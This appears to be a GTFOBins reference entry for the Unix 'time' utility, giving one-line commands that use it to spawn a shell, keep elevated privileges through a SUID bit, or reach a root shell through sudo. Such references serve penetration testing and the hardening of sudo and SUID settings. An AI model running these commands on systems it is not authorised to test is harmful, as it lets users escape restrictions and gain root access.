GTFOBins.github.io/_gtfobins/time.md
2018-07-04 19:26:52 +01:00

13 lines
338 B
Markdown

---
description: |
Note that the shell might have its own builtin time implementation, which may
behave differently than` /usr/bin/time`, hence the absolute path.
functions:
execute-interactive:
- code: "/usr/bin/time /bin/sh"
suid-enabled:
- code: "./time /bin/sh -p"
sudo-enabled:
- code: sudo /usr/bin/time /bin/sh
---